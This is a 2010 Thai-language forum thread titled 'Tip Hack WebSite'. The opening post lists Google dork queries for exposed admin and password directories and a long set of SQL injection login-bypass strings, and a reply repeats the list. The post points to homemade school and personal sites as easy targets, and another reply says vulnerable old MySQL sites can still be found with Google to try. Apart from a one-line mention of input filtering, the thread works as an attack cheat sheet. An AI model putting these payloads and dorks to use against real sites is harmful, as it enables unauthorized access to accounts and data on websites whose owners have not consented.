PDA

View Full Version : Tip Hack WebSite



minza1
10-01-2010, 07:33 PM
tip เทคนิกในวันนี้เราจะเสนอการเจาะweb siteแบบง่ายๆให้ทุกท่านได้รับรู้และป้องกันตัวเองได้โดยเริ่มจาก

การใช้ Google ค้นหาข้อมูลลับ

"Index of /admin"
"Index of /password"
"Index of /" +passwd
"Index of /" +password.txt
"Index of /mail"
"Index of /" +alluser
"Index of /" +alluser.txt
"Index of /" +.htaccess

คำสั่งอาจจะมากกว่านี้ลองเอาไปประยุกต์ใช้กันดู


คำสั่งเจาะระบบ login

or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a


อันนี้เป็นการ Hack เว็บที่ใช้ฐานข้อมูลเป็น SQL ซึ่งตามที่ต่างๆก็จะอุด Bug ตรงส่วนนี้ไว้เรียบร้อยแล้ว
แต่ก็มีบางเว็บ site (Script เขียนเองซึ่งมักจะเป็นเว็บไซต์ของโรงเรียนหรือเว็บส่วนบุคคล) ที่มักจะมีรูรั่วนี้
ออกมาให้เห็น
หลังจากที่การ Login ค่าที่เป็นไปได้หลังจากการ login ก็คือ
1.ได้รับสิทธิ์ของ User นั้นๆ
2.ได้รับสิทธ์เท่ากับคนอื่นๆ
3.ได้รับสิทธ์เป็นผู้ใช้ที่อยู่อันดับแรกหรือท้ายของตาราง (admin)
4. ไม่ได้อะไร

นอกจากการอัดฉีดคำสั่งเหล่านี้ลงไปแล้วนั้นยังมีคำสั่งอื่นๆที่สามารถอัดลงไปได้อีกเช่น
SELECT * FROM User WHERE
SELECT * FROM * WHERE
'GROUP BY username;--
'employee.feild'
เป็นต้นซึ่งเป็นคำสั่ง SQL สามารถหาความรู้ได้จากที่ต่างๆใน internet

การป้องกันโดยพื้นฐานนั้นก็คือการกรองค่าอักขระแบบแปลกๆออกไปจากข้อความที่รับเข้ามาเช่น
&!@#$%^ เป็นต้นหรือการจำกัดความยาวของช่องรับข้อความก็เป็นอีกหนึ่งวิธีที่น่าสนใจ

black007hat
26-01-2010, 07:38 PM
งง ครับ ใช้กับโปรเเกรมอะไรอะครับ เเล้วไปพิมพ์ตรงไหน

สอน hack ro เถื่อนหน่อยดิ

wzonline
16-02-2010, 08:24 AM
ถ้าเกิดเข้าใจไม่ผิดนะ

คำสั่งชุดแรกที่ให้มาใช้เซิร์ทหาในกลูเกิลเพื่อนหา user หรือ pass ของเว็บไซต์ต่างๆ

ส่วนคำสั่งชุดที่สองเป็นบัคของ mysql ที่ใช้กรอกลงไปในช่องที่ปรกติต้องกรอกเป็น user หรือpass มันจะไปแทนที่แล้วถ้าเกิดว่าเค้าไม่ได้กันเอาไว้มันก็จะเข้าไปใช้ได้ อย่างที่เจ้าของโพสต์บอกน่ะแหละ


แต่เรายังไม่เคยลองใช้ได้เลย เดี๋ยวนี้เค้ามีสอนอุดกันเยอะแล้ว

Cyanide
16-02-2010, 12:58 PM
คำสั่งเจาะระบบ login

or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
[/b]
เป็น SQL Injection ครับ ถ้าเข้าใจไม่ผิดนะ
อย่างที่ท่าน wzonline บอก แหละครับ ใส่ไปแทน user และ pws :D

dojo
16-02-2010, 02:17 PM
เด่วนี้ mysql เวอร์ชั่นใหม่ๆได้แก้ปัญหาการ hack ในรูปแบบของเจ้าของกระทู้นี้หมดแ้ล้วคับ hack ได้สำหรับเวอร์ชั่นเก่าๆและเก่ามากๆอ่ะครับ ต้องเปลี่ยนไปแฮควิธีอื่นละคับ

Keyboard
18-02-2010, 11:31 PM
ที่น่าสนใจก็คือ ทุกวันนี้ยังมี MYSQL รุ่นเก่าๆ วิ่งกันอยู่เยอะเหมือนกันนะครับ ลองใช้ google หาดู ยังมีให้ลองอีกหลายที่

kylix
28-02-2010, 09:59 PM
คงต้องใช้กลับ ฐานข้อมูลเก่า ๆหรือเปล่าครับหรือว่าผมทำผิดวิธีเข้าได้แต่ ไม่มีสิทธิ์อะไรเลยครับ โดนจำกัดสิทธิ์ในการเข้าไปทำอะไร

CIAAGENT
29-04-2010, 06:18 PM
เช่นนั้นในการเขียนSQLที่เว็บส่วนตัวนั้นก็ต้องมีความระเอียดรอบคอบมากๆ เลย ไม่งั้นคงมีผู้ไม่หวังดีเจาะเข้ามาเเน่ เเล้วผมจะนำข้อมูลที่ได้ไปใช้อุดช่องโว่ของเว็บโรงเรียนดูนะครับ